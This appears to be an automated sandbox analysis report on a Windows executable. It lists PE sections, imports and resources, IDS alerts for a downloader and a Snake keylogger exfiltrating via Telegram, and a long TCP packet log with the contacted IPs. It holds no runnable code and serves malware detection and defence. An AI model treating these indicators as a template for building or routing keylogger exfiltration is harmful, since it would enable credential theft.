.text	0x1000	0x606c	0x6200	6b261bd7f45c2df7de2d0134c84421b7	False	0.6672114158163265	data	6.457067985385169	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1460	0x1600	0aa2dc336f7337ed3785ee2afeacae36	False	0.4211647727272727	data	4.945964880166059	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2af98	0x600	326f796323fdc724ea91090eafbe9bdc	False	0.4856770833333333	data	3.795352750027872	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x35000	0x30000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x65000	0x20b8	0x2200	74b27a0083cbdcb566d993625801cb0e	False	0.5340073529411765	data	4.938841517310863	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x65208	0x1628	Device independent bitmap graphic, 64 x 128 x 8, image size 4608, resolution 2833 x 2833 px/m	English	United States	0.5978490832157969
RT_DIALOG	0x66830	0x100	data	English	United States	0.5234375
RT_DIALOG	0x66930	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x66a50	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x66b18	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x66b78	0x14	data	English	United States	1.05
RT_VERSION	0x66b90	0x21c	data	English	United States	0.5314814814814814
RT_MANIFEST	0x66db0	0x305	XML 1.0 document, ASCII text, with very long lines (773), with no line terminators	English	United States	0.5614489003880984

Imports

DLL	Import
KERNEL32.dll	CompareFileTime, SearchPathW, SetFileTime, CloseHandle, GetShortPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, GetFullPathNameW, CreateDirectoryW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, SetFileAttributesW, ExpandEnvironmentStringsW, LoadLibraryW, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcpyA, lstrcpyW, lstrcatW, GetSystemDirectoryW, GetVersion, GetProcAddress, LoadLibraryA, GetModuleHandleA, GetModuleHandleW, lstrcmpiW, lstrcmpW, WaitForSingleObject, GlobalFree, GlobalAlloc, LoadLibraryExW, GetExitCodeProcess, FreeLibrary, WritePrivateProfileStringW, SetErrorMode, GetCommandLineW, GetPrivateProfileStringW, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, WriteFile, lstrlenA, WideCharToMultiByte
USER32.dll	EndDialog, ScreenToClient, GetWindowRect, RegisterClassW, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, wsprintfW, CreateWindowExW, SystemParametersInfoW, AppendMenuW, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, GetDC, SetWindowLongW, LoadImageW, SendMessageTimeoutW, FindWindowExW, EmptyClipboard, OpenClipboard, TrackPopupMenu, EndPaint, ShowWindow, GetDlgItem, IsWindow, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegCloseKey, RegOpenKeyExW, RegDeleteKeyW, RegDeleteValueW, RegEnumValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-25T13:47:31.093531+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49838	172.217.19.174	443	TCP
2024-11-25T13:47:38.326543+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49859	193.122.130.0	80	TCP
2024-11-25T13:47:40.889059+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49859	193.122.130.0	80	TCP
2024-11-25T13:47:43.098496+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49871	149.154.167.220	443	TCP
2024-11-25T13:47:44.623459+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49877	193.122.130.0	80	TCP
2024-11-25T13:47:46.772175+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49881	149.154.167.220	443	TCP
2024-11-25T13:47:50.431287+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49891	149.154.167.220	443	TCP
2024-11-25T13:47:53.739392+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49902	149.154.167.220	443	TCP
2024-11-25T13:47:57.177157+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49909	149.154.167.220	443	TCP
2024-11-25T13:48:00.630012+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49921	149.154.167.220	443	TCP
2024-11-25T13:48:04.249756+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49929	149.154.167.220	443	TCP
2024-11-25T13:48:07.632635+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49940	149.154.167.220	443	TCP
2024-11-25T13:48:10.896009+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49947	149.154.167.220	443	TCP
2024-11-25T13:48:14.213747+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49958	149.154.167.220	443	TCP
2024-11-25T13:48:17.661828+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49966	149.154.167.220	443	TCP
2024-11-25T13:48:21.001411+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49977	149.154.167.220	443	TCP
2024-11-25T13:48:24.453386+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49985	149.154.167.220	443	TCP
2024-11-25T13:48:27.885837+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49996	149.154.167.220	443	TCP
2024-11-25T13:48:31.633855+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50004	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 13:47:28.464857101 CET	49838	443	192.168.2.9	172.217.19.174
Nov 25, 2024 13:47:28.464911938 CET	443	49838	172.217.19.174	192.168.2.9
Nov 25, 2024 13:47:28.465007067 CET	49838	443	192.168.2.9	172.217.19.174
Nov 25, 2024 13:47:28.489459991 CET	49838	443	192.168.2.9	172.217.19.174
Nov 25, 2024 13:47:28.489491940 CET	443	49838	172.217.19.174	192.168.2.9
Nov 25, 2024 13:47:30.185723066 CET	443	49838	172.217.19.174	192.168.2.9
Nov 25, 2024 13:47:30.185807943 CET	49838	443	192.168.2.9	172.217.19.174
Nov 25, 2024 13:47:30.186403990 CET	443	49838	172.217.19.174	192.168.2.9
Nov 25, 2024 13:47:30.186448097 CET	49838	443	192.168.2.9	172.217.19.174
Nov 25, 2024 13:47:30.239243031 CET	49838	443	192.168.2.9	172.217.19.174
Nov 25, 2024 13:47:30.239269018 CET	443	49838	172.217.19.174	192.168.2.9
Nov 25, 2024 13:47:30.239598989 CET	443	49838	172.217.19.174	192.168.2.9
Nov 25, 2024 13:47:30.239650965 CET	49838	443	192.168.2.9	172.217.19.174
Nov 25, 2024 13:47:30.242942095 CET	49838	443	192.168.2.9	172.217.19.174
Nov 25, 2024 13:47:30.287327051 CET	443	49838	172.217.19.174	192.168.2.9
Nov 25, 2024 13:47:31.093538046 CET	443	49838	172.217.19.174	192.168.2.9
Nov 25, 2024 13:47:31.093625069 CET	49838	443	192.168.2.9	172.217.19.174
Nov 25, 2024 13:47:31.093631029 CET	443	49838	172.217.19.174	192.168.2.9
Nov 25, 2024 13:47:31.093668938 CET	49838	443	192.168.2.9	172.217.19.174
Nov 25, 2024 13:47:31.094444036 CET	443	49838	172.217.19.174	192.168.2.9
Nov 25, 2024 13:47:31.094485044 CET	443	49838	172.217.19.174	192.168.2.9
Nov 25, 2024 13:47:31.094527006 CET	49838	443	192.168.2.9	172.217.19.174
Nov 25, 2024 13:47:31.094613075 CET	49838	443	192.168.2.9	172.217.19.174
Nov 25, 2024 13:47:31.096028090 CET	49838	443	192.168.2.9	172.217.19.174
Nov 25, 2024 13:47:31.096036911 CET	443	49838	172.217.19.174	192.168.2.9
Nov 25, 2024 13:47:31.366554976 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:31.366615057 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:31.366686106 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:31.367034912 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:31.367052078 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:33.119740009 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:33.119822979 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:33.123753071 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:33.123774052 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:33.124022961 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:33.124066114 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:33.124440908 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:33.167336941 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:35.787497997 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:35.787667036 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:35.800103903 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:35.800218105 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:35.906820059 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:35.907032967 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:35.907077074 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:35.907128096 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:35.910815954 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:35.910890102 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:35.987556934 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:35.987675905 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:35.989907026 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:35.989991903 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:35.998102903 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:35.998208046 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:35.998236895 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:35.998274088 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.006191969 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.006285906 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.008210897 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.008313894 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.016309023 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.016379118 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.017641068 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.017700911 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.025635004 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.025729895 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.027472019 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.027544975 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.034966946 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.035053968 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.041409969 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.041513920 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.044847965 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.044914961 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.055459023 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.055550098 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.058901072 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.058974981 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.069422007 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.069516897 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.079792023 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.079895973 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.083444118 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.083520889 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.086729050 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.086793900 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.097399950 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.097466946 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.100766897 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.100863934 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.111251116 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.111327887 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.111392975 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.111442089 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.125574112 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.125621080 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.146889925 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.146941900 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.146951914 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.146986008 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.188601971 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.188678980 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.188689947 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.188725948 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.190781116 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.190835953 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.195560932 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.195610046 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.195724010 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.195759058 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.199456930 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.199506044 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.199511051 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.199547052 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.204493999 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.204554081 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.204638958 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.204684973 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.204689026 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.204727888 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.212929010 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.213004112 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.213026047 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.213068008 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.213071108 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.213105917 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.213155985 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.213181019 CET	443	49848	142.250.181.1	192.168.2.9
Nov 25, 2024 13:47:36.213242054 CET	49848	443	192.168.2.9	142.250.181.1
Nov 25, 2024 13:47:36.615291119 CET	49859	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:36.735594988 CET	80	49859	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:36.735769987 CET	49859	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:36.736192942 CET	49859	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:36.856760979 CET	80	49859	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:37.927936077 CET	80	49859	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:37.931982994 CET	49859	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:38.052299976 CET	80	49859	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:38.271902084 CET	80	49859	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:38.326543093 CET	49859	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:38.667881012 CET	49865	443	192.168.2.9	172.67.177.134
Nov 25, 2024 13:47:38.667922974 CET	443	49865	172.67.177.134	192.168.2.9
Nov 25, 2024 13:47:38.668003082 CET	49865	443	192.168.2.9	172.67.177.134
Nov 25, 2024 13:47:38.670038939 CET	49865	443	192.168.2.9	172.67.177.134
Nov 25, 2024 13:47:38.670048952 CET	443	49865	172.67.177.134	192.168.2.9
Nov 25, 2024 13:47:39.979598999 CET	443	49865	172.67.177.134	192.168.2.9
Nov 25, 2024 13:47:39.979866028 CET	49865	443	192.168.2.9	172.67.177.134
Nov 25, 2024 13:47:39.983881950 CET	49865	443	192.168.2.9	172.67.177.134
Nov 25, 2024 13:47:39.983890057 CET	443	49865	172.67.177.134	192.168.2.9
Nov 25, 2024 13:47:39.984169006 CET	443	49865	172.67.177.134	192.168.2.9
Nov 25, 2024 13:47:39.987397909 CET	49865	443	192.168.2.9	172.67.177.134
Nov 25, 2024 13:47:40.031344891 CET	443	49865	172.67.177.134	192.168.2.9
Nov 25, 2024 13:47:40.443363905 CET	443	49865	172.67.177.134	192.168.2.9
Nov 25, 2024 13:47:40.443444967 CET	443	49865	172.67.177.134	192.168.2.9
Nov 25, 2024 13:47:40.443547964 CET	49865	443	192.168.2.9	172.67.177.134
Nov 25, 2024 13:47:40.448321104 CET	49865	443	192.168.2.9	172.67.177.134
Nov 25, 2024 13:47:40.501069069 CET	49859	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:40.621830940 CET	80	49859	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:40.839667082 CET	80	49859	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:40.889059067 CET	49859	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:40.983666897 CET	49871	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:40.983722925 CET	443	49871	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:40.983802080 CET	49871	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:40.984311104 CET	49871	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:40.984323978 CET	443	49871	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:42.444844961 CET	443	49871	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:42.445017099 CET	49871	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:42.450277090 CET	49871	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:42.450289965 CET	443	49871	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:42.450557947 CET	443	49871	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:42.452374935 CET	49871	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:42.499332905 CET	443	49871	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:42.499403954 CET	49871	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:42.499419928 CET	443	49871	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:43.098537922 CET	443	49871	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:43.098619938 CET	443	49871	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:43.098689079 CET	49871	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:43.099494934 CET	49871	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:43.311625957 CET	49859	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:43.312988997 CET	49877	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:43.432425976 CET	80	49859	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:43.432614088 CET	49859	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:43.433387995 CET	80	49877	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:43.433554888 CET	49877	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:43.433701992 CET	49877	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:43.553723097 CET	80	49877	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:44.581835985 CET	80	49877	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:44.623459101 CET	49877	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:44.722958088 CET	49881	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:44.723006010 CET	443	49881	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:44.723079920 CET	49881	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:44.723778963 CET	49881	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:44.723790884 CET	443	49881	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:46.140177011 CET	443	49881	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:46.142354012 CET	49881	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:46.142369986 CET	443	49881	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:46.142410994 CET	49881	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:46.142422915 CET	443	49881	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:46.772177935 CET	443	49881	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:46.772295952 CET	443	49881	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:46.772403955 CET	49881	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:46.776890039 CET	49881	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:46.897098064 CET	49885	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:47.024298906 CET	80	49885	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:47.024400949 CET	49885	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:47.024539948 CET	49885	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:47.148022890 CET	80	49885	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:48.429419041 CET	80	49885	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:48.430977106 CET	49891	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:48.431052923 CET	443	49891	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:48.431449890 CET	49891	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:48.431679964 CET	49891	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:48.431693077 CET	443	49891	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:48.482919931 CET	49885	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:49.795030117 CET	443	49891	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:49.796978951 CET	49891	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:49.797012091 CET	443	49891	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:49.797079086 CET	49891	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:49.797087908 CET	443	49891	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:50.431308031 CET	443	49891	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:50.431421041 CET	443	49891	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:50.431535959 CET	49891	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:50.432024956 CET	49891	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:50.435606003 CET	49885	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:50.436764002 CET	49896	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:50.556735039 CET	80	49896	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:50.556858063 CET	49896	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:50.557024002 CET	49896	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:50.560235977 CET	80	49885	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:50.560316086 CET	49885	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:50.677238941 CET	80	49896	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:51.699713945 CET	80	49896	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:51.701076984 CET	49902	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:51.701133013 CET	443	49902	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:51.701209068 CET	49902	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:51.701503038 CET	49902	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:51.701514006 CET	443	49902	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:51.748483896 CET	49896	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:53.072545052 CET	443	49902	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:53.074242115 CET	49902	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:53.074304104 CET	443	49902	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:53.074392080 CET	49902	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:53.074413061 CET	443	49902	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:53.739377975 CET	443	49902	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:53.739456892 CET	443	49902	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:53.739562035 CET	49902	443	192.168.2.9	149.154.167.220
